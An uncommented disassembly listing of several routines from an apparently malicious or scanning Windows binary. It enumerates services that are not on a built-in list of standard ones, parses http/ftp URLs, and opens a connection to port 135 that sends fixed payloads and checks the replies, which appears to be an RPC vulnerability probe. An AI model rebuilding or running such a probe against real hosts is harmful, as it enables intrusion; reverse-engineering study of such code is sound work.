var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4207E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		call	near ptr 28F088Ah
		nop
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42082F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42082F:				; CODE XREF: sub_4207E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_44433C
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset aNla	; "Nla"
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_401424
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_50F710
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420B8F
		mov	ebp, dword_50F75C


loc_420A6B:				; CODE XREF: sub_4207E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420A97
		lea	esi, [esp+524h+var_4E0]


loc_420A78:				; CODE XREF: sub_4207E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_420B73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420A78


loc_420A97:				; CODE XREF: sub_4207E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_401681
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420AE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420AE3:				; CODE XREF: sub_4207E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		call	near ptr 28D0000h
		nop
		cmp	eax, ebx
		jz	short loc_420B1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420B3A
; ---------------------------------------------------------------------------


loc_420B1D:				; CODE XREF: sub_4207E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420B3A:				; CODE XREF: sub_4207E0+301j
					; sub_4207E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014C9
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420B73:				; CODE XREF: sub_4207E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420A6B
		mov	ebp, [esp+524h+var_4FC]


loc_420B8F:				; CODE XREF: sub_4207E0+27Fj
		push	ebp
		nop
		call	near ptr 2900000h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4207E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420CD0	proc near		; CODE XREF: sub_4015EBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		call	near ptr 2871AC7h
		nop
		push	eax
		call	near ptr 2871154h
		nop
		mov	eax, esi
		pop	esi
		retn
sub_420CD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D00	proc near		; CODE XREF: sub_401A28j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420D39


loc_420D22:				; CODE XREF: sub_420D00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420D22
		cmp	ecx, 0
		jz	short loc_420D4A


loc_420D39:				; CODE XREF: sub_420D00+20j
					; sub_420D00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420D39


loc_420D4A:				; CODE XREF: sub_420D00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420D00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50BB64, eax
		mov	eax, offset dword_50BB64
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420DC0:				; CODE XREF: ___:00401771j
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_50FAA0
		push	esi
		call	edi	; ftell
		mov	ebp, dword_50FA98
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420E10	proc near		; CODE XREF: sub_401938j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420E10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420E3F
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420E10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_401424
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015D7
		push	offset asc_443C94 ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420ECF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420ECF:				; CODE XREF: sub_420E10+92j
					; sub_420E10+A2j
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D20
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_444410 ; "/"
		push	1
		jz	loc_42120C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FBE
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_420FC9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_420FC9:				; CODE XREF: sub_420E10+19Cj
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421095
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42107E
		mov	dword ptr [esi+54h], 50h


loc_42107E:				; CODE XREF: sub_420E10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421095
		mov	dword ptr [esi+54h], 15h


loc_421095:				; CODE XREF: sub_420E10+255j
					; sub_420E10+27Cj
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016AE
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42114E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42114E:				; CODE XREF: sub_420E10+321j
		push	offset asc_444410 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset dword_4437F8
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016AE
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421333
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_42120C:				; CODE XREF: sub_420E10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016AE
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FBE
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_446F70
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421293
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421419
; ---------------------------------------------------------------------------


loc_421293:				; CODE XREF: sub_420E10+466j
		push	offset asc_444410 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016AE
		push	offset asc_443C94 ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421333
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42131C
		mov	dword ptr [esi+54h], 50h


loc_42131C:				; CODE XREF: sub_420E10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421333
		mov	dword ptr [esi+54h], 15h


loc_421333:				; CODE XREF: sub_420E10+3DBj
					; sub_420E10+4F3j ...
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013E3
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E2E
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013E3
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_444410 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013E3
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E2E
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40200E
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_444410 ; "/"
		mov	ecx, esi
		call	sub_4015D7
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016BD
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421419:				; CODE XREF: sub_420E10+2Aj
					; sub_420E10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420E10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4215D0	proc near		; CODE XREF: sub_401AEBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4215FB


loc_4215E4:				; CODE XREF: sub_4215D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421602
		inc	eax
		cmp	eax, edx
		jl	short loc_4215E4


loc_4215FB:				; CODE XREF: sub_4215D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421602:				; CODE XREF: sub_4215D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4215D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421620:				; CODE XREF: ___:0040209Aj
		mov	eax, 2010h
		call	sub_436840
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42166D
		dec	eax
		jz	short loc_421647
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421647:				; CODE XREF: ___:00421638j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402004
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42166D:				; CODE XREF: ___:00421635j
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4217C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40187F
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	ebp, dword_50FC8C
		push	0
		push	48h
		push	offset dword_443DD8
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		mov	edi, dword_50FC90
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4217C2
		push	0
		push	18h
		push	offset dword_443E4C
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4217C2
		push	0
		lea	edx, [esp+20h]
		push	2000h
		push	edx
		push	esi
		call	edi	; recv
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_4217C2
		cmp	byte ptr [esp+1Eh], 2
		jnz	short loc_4217C2
		push	10h
		push	offset loc_443E24
		lea	eax, [esp+24h]
		push	edi
		push	eax
		call	sub_401AEB
		add	esp, 10h
		test	al, al
		jz	short loc_421791
		xor	ecx, ecx
		cmp	edi, 12Ch
		setnl	cl
		inc	ecx
		push	esi
		mov	edi, ecx
		nop
		call	near ptr 71AB9639h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421791:				; CODE XREF: ___:0042176Ej
		push	10h
		push	offset dword_443E38
		lea	edx, [esp+24h]
		push	edi
		push	edx
		call	sub_401AEB
		add	esp, 10h
		neg	al
		sbb	eax, eax
		push	esi
		and	eax, 3
		mov	edi, eax
		call	near ptr 71AB9639h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_4217C2:				; CODE XREF: ___:004216DBj
					; ___:004216F6j ...
		push	esi
		call	near ptr 71AB9639h
		nop


loc_4217C9:				; CODE XREF: ___:0042167Ej
					; ___:00421687j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421850:				; CODE XREF: ___:00401A00j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_421870	proc near		; CODE XREF: sub_40120Dj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401311
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010E6
sub_421870	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4218B0	proc near		; CODE XREF: sub_4018D9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_401901
sub_4218B0	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
